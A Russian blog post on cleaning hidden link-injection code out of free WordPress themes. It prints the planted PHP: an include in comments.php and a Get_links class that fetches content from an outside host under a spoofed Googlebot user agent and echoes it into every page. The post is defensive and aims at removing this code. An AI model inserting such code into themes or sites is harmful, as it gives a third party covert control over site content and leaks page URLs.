Как удалить скрытую ссылку из темы WordPress ч.2

СсылкиОколо двух лет назад я уже описывал процесс удаления одного варианта скрытых ссылок. А не так давно опять столкнулся с проблемой наличия скрытых ссылок в бесплатных шаблонах wordpress. На этот раз шаблон брал здесь. Но и часть решения также было указано на данном ресурсе. Однако не все.

И так, ссылка обнаружена. При том, на совсем левый ресурс, подозрительной направленности. Начал копать. И на указанном выше сайте нашел вот такую инфу:

Шаблоны WordPress с портала ….. имеют бесплатное распространение. Темы взяты из разделов свободного скачивания на сайтах авторов шаблонов, поэтому их копирование и использование не нарушает авторских прав.
Наш сайт помогает пользователям подобрать качественный шаблон для своего сайта. Взамен мы размещаем на сайтах, использующих шаблоны, скрытые или видимые ссылки, которые не портят внешний вид как шаблона, так и самого сайта, использующего данный шаблон.

Если вы хотите чтобы на вашем сайте не выводились партнерские ссылки, вам нужно отредактировать файл шаблона “comments.php”(иногда код находится в “footer.php”), удалив код:

 <?php $lib_path = dirname(__FILE__).’/’; require_once(‘functions.php’); $links = new Get_links(); $links = $links->get_remote(); echo $links; ?>

Находим файл http://vash-sites/wp-content/themes/typecorevs/comments.php
И в самом верху удаляем

<?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->get_remote(); echo $links; ?>

После того, как убрал код ссылка пропала. Но в коде имеется вызов ‘functions.php’. Открываем файл http://vash-sites/wp-content/themes/typecorevs/functions.php и отправляем в топку следующий код

class Get_links {

    var $host = 'wpconfig.net';
    var $path = '/system.php';
    var $_socket_timeout    = 5;

    function get_remote() {
        $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
        $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

        $links_class = new Get_links();
        $host = $links_class->host;
        $path = $links_class->path;
        $_socket_timeout = $links_class->_socket_timeout;
        //$_user_agent = $links_class->_user_agent;

        @ini_set('allow_url_fopen',          1);
        @ini_set('default_socket_timeout',   $_socket_timeout);
        @ini_set('user_agent', $_user_agent);

        if (function_exists('file_get_contents')) {
            $opts = array(
                'http'=>array(
                    'method'=>"GET",
                    'header'=>"Referer: {$req_url}\r\n".
                        "User-Agent: {$_user_agent}\r\n"
                )
            );
            $context = stream_context_create($opts);

         $data = @file_get_contents('http://' . $host . $path, false, $context); 
            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
            $data = @$data[2];
            return $data;
        }
        return '<!--link error-->';
    }
}

Кстати, сам код был на трех сайтах из трех. А вот активная ссылка была на 2-х. Третий шаблон только пару недель как установил. Скорее всего ссылки активируются по истечении определенного срока.

Пользуйтесь! Всем удачи! Кстати, ниже есть ссылка на предыдущую статью по данной теме.

//vseti.shmat.by/kak-ubrat-nenuzhnyie-ssyilki-iz-temyi-wordpress


Понравилась статья - поделись с друзъями:

Вам понравиться

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

*

code